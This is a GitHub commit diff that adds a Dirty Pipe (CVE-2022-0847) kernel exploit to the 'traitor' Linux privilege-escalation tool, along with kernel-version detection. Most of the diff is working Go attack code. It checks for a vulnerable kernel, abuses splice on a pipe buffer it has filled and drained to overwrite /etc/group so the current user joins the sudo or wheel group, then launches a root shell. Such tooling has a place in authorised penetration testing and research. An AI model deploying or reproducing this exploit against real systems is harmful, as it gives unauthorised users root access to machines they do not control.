Skip to content

Commit 83e3cc9

Browse files
authored
feat: Added exploit for dirty pipe (CVE-2022-0847) (#74)
1 parent 7eb604e commit 83e3cc9

File tree

5 files changed

+274
-1
lines changed

5 files changed

+274
-1
lines changed

Diff for: README.md

+1-1
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ Traitor packages up a bunch of methods to exploit local misconfigurations and vu
66

77
![Demo](demo.gif)
88

9-
It'll exploit most sudo privileges listed in GTFOBins to pop a root shell, as well as exploiting issues like a writable `docker.sock`, or the recent polkit CVE-2021-4034. More routes to root will be added over time too.
9+
It'll exploit most sudo privileges listed in GTFOBins to pop a root shell, as well as exploiting issues like a writable `docker.sock`, or the recent dirty pipe (CVE-2022-0847). More routes to root will be added over time too.
1010

1111
## Usage
1212

Diff for: pkg/exploits/all.go

+5
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@ package exploits
33
import (
44
"github.com/liamg/traitor/pkg/exploits/cve20213560"
55
"github.com/liamg/traitor/pkg/exploits/cve20214034"
6+
"github.com/liamg/traitor/pkg/exploits/cve20220847"
67
"github.com/liamg/traitor/pkg/exploits/dockersock"
78
)
89

@@ -17,3 +18,7 @@ func init() {
1718
func init() {
1819
register("polkit:CVE-2021-4034", SpeedFast, cve20214034.New())
1920
}
21+
22+
func init() {
23+
register("kernel:CVE-2022-0847", SpeedFast, cve20220847.New())
24+
}

Diff for: pkg/exploits/cve20220847/exploit.go

+253
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,253 @@
1+
package cve20220847
2+
3+
import (
4+
"context"
5+
"errors"
6+
"fmt"
7+
"os"
8+
"os/exec"
9+
"os/user"
10+
"regexp"
11+
"strconv"
12+
"strings"
13+
"syscall"
14+
15+
"github.com/liamg/traitor/pkg/logger"
16+
"github.com/liamg/traitor/pkg/payloads"
17+
"github.com/liamg/traitor/pkg/state"
18+
"golang.org/x/sys/unix"
19+
)
20+
21+
// see: https://dirtypipe.cm4all.com/
22+
type cve20220847Exploit struct {
23+
pageSize int64
24+
log logger.Logger
25+
}
26+
27+
func New() *cve20220847Exploit {
28+
exp := &cve20220847Exploit{
29+
pageSize: 4096,
30+
}
31+
return exp
32+
}
33+
34+
func (v *cve20220847Exploit) IsVulnerable(ctx context.Context, s *state.State, log logger.Logger) bool {
35+
36+
r := regexp.MustCompile(`[0-9]+\.[0-9]+(\.[0-9]+)*`)
37+
ver := r.FindString(s.KernelVersion)
38+
39+
var segments []int
40+
for _, str := range strings.Split(ver, ".") {
41+
n, err := strconv.Atoi(str)
42+
if err != nil {
43+
return false
44+
}
45+
segments = append(segments, n)
46+
}
47+
48+
var major int
49+
var minor int
50+
var patch int
51+
52+
if len(segments) < 3 {
53+
return false
54+
}
55+
56+
major = segments[0]
57+
minor = segments[1]
58+
patch = segments[2]
59+
60+
// affects Linux Kernel 5.8 and later versions, and has been fixed in Linux 5.16.11, 5.15.25 and 5.10.102
61+
switch {
62+
case major == 5 && minor < 8:
63+
return false
64+
case major > 5:
65+
return false
66+
case minor > 16:
67+
return false
68+
case minor == 16 && patch >= 11:
69+
return false
70+
case minor == 15 && patch >= 25:
71+
return false
72+
case minor == 10 && patch >= 102:
73+
return false
74+
}
75+
76+
log.Printf("Kernel version %s is vulnerable!", ver)
77+
return true
78+
}
79+
80+
func (v *cve20220847Exploit) Shell(ctx context.Context, s *state.State, log logger.Logger) error {
81+
return v.Exploit(ctx, s, log, payloads.Default)
82+
}
83+
84+
func (v *cve20220847Exploit) Exploit(ctx context.Context, s *state.State, log logger.Logger, payload payloads.Payload) error {
85+
86+
v.log = log
87+
88+
log.Printf("Attempting to add user to sudoers via common groups...")
89+
u, err := user.Current()
90+
if err != nil {
91+
return err
92+
}
93+
94+
groupData, err := os.ReadFile("/etc/group")
95+
if err != nil {
96+
return err
97+
}
98+
backup := string(groupData)
99+
maxSize := 4096 - (len(u.Username) + 1)
100+
if len(groupData) > maxSize {
101+
groupData = groupData[:maxSize]
102+
}
103+
104+
var injected []string
105+
var found bool
106+
for _, line := range strings.Split(string(groupData), "\n") {
107+
if !found {
108+
parts := strings.Split(line, ":")
109+
switch parts[0] {
110+
case "sudo", "wheel":
111+
log.Printf("Found group: '%s'", parts[0])
112+
found = true
113+
if parts[3] != "" {
114+
users := strings.Split(parts[3], ",")
115+
var canAdd bool
116+
for _, existing := range users {
117+
if existing == u.Username {
118+
log.Printf("NOTE: Your user is already in the %s group - you can likely sudo already...", parts[0])
119+
canAdd = false
120+
121+
}
122+
}
123+
if !canAdd {
124+
injected = append(injected, line)
125+
continue
126+
}
127+
line += ","
128+
}
129+
line += u.Username
130+
}
131+
}
132+
injected = append(injected, line)
133+
}
134+
if !found {
135+
_ = found
136+
//return fmt.Errorf("could not find sudo or wheel group")
137+
}
138+
newData := []byte(strings.Join(injected, "\n") + "\n")
139+
140+
if err := v.writeToFile("/etc/group", 1, newData[1:]); err != nil {
141+
return fmt.Errorf("failed to overwrite target file: %w", err)
142+
}
143+
144+
defer func() {
145+
log.Printf("Restoring contents of /etc/group...")
146+
_ = v.writeToFile("/etc/group", 1, []byte(backup)[1:])
147+
}()
148+
149+
log.Printf("Starting shell (you may need to enter your password)...")
150+
log.Printf("Please exit the shell once you are finished to ensure the contents of /etc/group is restored.")
151+
cmd := exec.Cmd{
152+
Path: "/bin/sh",
153+
Args: []string{"/bin/sh", "-c", "sudo", "/bin/sh"},
154+
Env: os.Environ(),
155+
Dir: "/",
156+
Stdin: os.Stdin,
157+
Stdout: os.Stdout,
158+
Stderr: os.Stderr,
159+
}
160+
if payload != "" {
161+
cmd.Args = append(cmd.Args, "-c", string(payload))
162+
}
163+
return cmd.Run()
164+
}
165+
166+
func (v *cve20220847Exploit) writeToFile(path string, offset int64, data []byte) error {
167+
168+
if offset%v.pageSize == 0 {
169+
return errors.New("cannot write to an offset aligned with a page boundary")
170+
}
171+
172+
v.log.Printf("Opening '%s' for read...", path)
173+
target, err := os.Open(path)
174+
if err != nil {
175+
return fmt.Errorf("failed to read target file: %w", err)
176+
}
177+
178+
r, w, err := v.dirtyThatPipe()
179+
if err != nil {
180+
return fmt.Errorf("failed to create dirty pipe: %w", err)
181+
}
182+
defer func() {
183+
_ = r.Close()
184+
_ = w.Close()
185+
}()
186+
187+
v.log.Printf("Splicing data...")
188+
offset--
189+
spliced, err := syscall.Splice(int(target.Fd()), &offset, int(w.Fd()), nil, 1, 0)
190+
if err != nil {
191+
return fmt.Errorf("splice error: %w", err)
192+
}
193+
if spliced <= 0 {
194+
return fmt.Errorf("splice failed (%d)", spliced)
195+
}
196+
197+
v.log.Printf("Writing to dirty pipe...")
198+
if n, err := w.Write(data); err != nil {
199+
return fmt.Errorf("write failed: %w", err)
200+
} else if n < len(data) {
201+
return fmt.Errorf("write partially failed - %d bytes written", n)
202+
}
203+
204+
v.log.Printf("Write of '%s' successful!", path)
205+
return nil
206+
}
207+
208+
func (v *cve20220847Exploit) dirtyThatPipe() (r *os.File, w *os.File, err error) {
209+
210+
v.log.Printf("Creating pipe...")
211+
r, w, err = os.Pipe()
212+
if err != nil {
213+
return nil, nil, fmt.Errorf("create failed: %w", err)
214+
}
215+
216+
v.log.Printf("Determining pipe size...")
217+
size, err := unix.FcntlInt(w.Fd(), syscall.F_GETPIPE_SZ, -1)
218+
if err != nil {
219+
return nil, nil, fmt.Errorf("fcntl error: %w", err)
220+
}
221+
v.log.Printf("Pipe size is %d.", size)
222+
223+
v.log.Printf("Filling pipe...")
224+
written := 0
225+
for written < size {
226+
writeSize := size - written
227+
if int64(writeSize) > v.pageSize {
228+
writeSize = int(v.pageSize)
229+
}
230+
n, err := w.Write(make([]byte, writeSize))
231+
if err != nil {
232+
return nil, nil, fmt.Errorf("pipe write failed: %w", err)
233+
}
234+
written += n
235+
}
236+
237+
v.log.Printf("Draining pipe...")
238+
read := 0
239+
for read < size {
240+
readSize := size - read
241+
if int64(readSize) > v.pageSize {
242+
readSize = int(v.pageSize)
243+
}
244+
n, err := r.Read(make([]byte, readSize))
245+
if err != nil {
246+
return nil, nil, fmt.Errorf("pipe read failed: %w", err)
247+
}
248+
read += n
249+
}
250+
251+
v.log.Printf("Pipe drained.")
252+
return r, w, nil
253+
}

Diff for: pkg/state/kernel.go

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
package state
2+
3+
import "os"
4+
5+
func kernelVersion() string {
6+
b, err := os.ReadFile("/proc/sys/kernel/osrelease")
7+
if err != nil {
8+
return ""
9+
}
10+
return string(b)
11+
12+
}

Diff for: pkg/state/state.go

+3
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@ type State struct {
88
Hostname string
99
DistroID DistributionID
1010
DistroVersion string
11+
KernelVersion string
1112
}
1213

1314
func New() *State {
@@ -22,6 +23,8 @@ func (s *State) Assess() {
2223

2324
s.processDistro()
2425

26+
s.KernelVersion = kernelVersion()
27+
2528
// check existing backdoors
2629
// list users
2730
// list current user + groups

0 commit comments

Comments
 (0)